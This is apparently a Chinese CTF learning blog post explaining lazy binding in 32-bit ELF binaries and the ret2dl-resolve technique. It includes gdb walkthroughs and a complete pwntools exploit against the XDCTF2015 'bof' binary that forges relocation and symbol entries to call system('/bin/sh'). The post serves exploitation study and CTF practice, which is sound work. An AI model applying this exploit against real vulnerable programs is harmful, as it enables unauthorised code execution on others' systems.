PWN学习之高级ROP

ret2dl

前提

1
2
3
1、理解ELF
2、理解延迟绑定技术
3、基本ROP

这里以http://pwn4.fun/2016/11/09/Return-to-dl-resolve/中的bof文件为例

查找何处调用write函数

1
objdump -d bof|grep write

发现程序只在0x804859a处调用了一次write函数,且write函数在plt表中的地址为0x80483d0。

下面进行gdb调试

在0x804859a处下断点

1
gdb-peda$ b *0x804859a

查看plt表中write函数的内容,此时write函数不曾被调用

程序跳转到0x804a01c处,查看该地址内容

0x804a01c是write函数在plt表中的地址,因为write函数未被调用,所以此时got表中没有存放write函数的真实地址,而是存放write函数在plt表中的下一条地址,执行push 0x20。

接着程序跳转到0x8048380,这是plt表的入口地址,查看该地址即plt[0]内容

程序将0x804a004处的内容入栈,0x0804a004即got[1],因此该处的内容为link_map。

程序接着执行0x804a008即got[0],即调用动态装载器中 _dl_runtime_resolve(link_map,reloc_arg=0x20) 函数。

1
2
0x8048380:	push   DWORD PTR ds:0x804a004 --->0xf7ffd950 ---> link_map	
0x8048386: jmp DWORD PTR ds:0x804a008 --->0xf7fe96c0 ---> _dl_runtime_resolve

下面是_dl_runtime_resolve找到write函数的真实地址并写入got表的过程

首先通过计算JMPREL[0x20]找到.rel.plt中的write函数,因为JMPREL映射到.rel.plt。查看JMPREL地址

JMPREL[0x20] = 0x8048350

1
2
r_offset=0x804a01c #即write的got表地址   
r_info=607 #结尾必须是7

根据r_info找到.dynsym表中的st_name即计算SYMTAB[(r_info>>8)*0x10],SYMTAB映射到.dynsym,其中0x10为.dynsym每一项的大小。查看SYMTAB的地址

SYMTAB[(r_info>>8)*0x10] = 0x8048238

1
2
st_name=0x4c  #动态符号在 .dynstr 表(动态字符串表)中的偏移
st_shndx=0x12

根据st_name找到.dynstr表中write符号即计算STRTAB[0x4c],STRTAB映射到.dynstr

STRTAB[0x4c] = 0x80482c4

找到write符号,后面就是系统调用的事了。按n继续执行程序,查看got表中的write函数

got表中write函数更新为write的真实地址,以上便是延迟绑定技术

如果修改.dynstr中write符号所在地址的值,结果又会如何。下面重新运行程序,将write修改为read

n继续执行程序,查看got表中的write函数

成功修改!

因此我们可以修改.dynstr表来执行我们想要的任意函数,然而.dynstr表不可写。

加入我们在某一可写地址处写入system,然后伪造.dynsym使STRTAB[st_name]指向system,接着伪造.ret.plt使SYMTAB[r_info>>8 * 0x10]指向伪造的.dynsym,然后想栈顶写入指向伪造.ret.plt的偏移reloc_arg,最后控制eip指向plt[0],即可执行system函数。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context.log_level = 'debug'
elf = ELF('./bof')

offset = 112 #控制eip
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./bof')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret)
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 16) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36+align)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

exp分析:

首先执行read函数:向base_stage中读入100字节

1
2
3
4
base_stage   :'AAAA'
base_stage+4 :0x08048380
base_stage+8 :reloc_arg
...

接着返回到ppp_ret,pop掉三个参数,返回ebp_pop,将base_stage传入ebp,接着返回leave,将ebp中的base_stage传入esp。此时esp指向base_stage,然后pop ebp

1
2
3
4
base_stage   :'AAAA'
base_stage+4 :0x08048380 <-esp
base_stage+8 :reloc_arg
...

返回plt_0

1
2
3
4
base_stage   :'AAAA'
base_stage+4 :0x08048380
base_stage+8 :reloc_arg <-esp
...

plt_0将link_map入栈

1
2
3
4
base_stage   :'AAAA'
base_stage+4 :link_map <-esp
base_stage+8 :reloc_arg
...

接着调用_dl_runtime_solve()函数,执行system(‘/bin/sh’)。

参考链接:

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

https://ctf-wiki.github.io/ctf-wiki/executable/elf/elf-structure-zh/

https://www.anquanke.com/post/id/177450

-------------本文结束感谢您的阅读-------------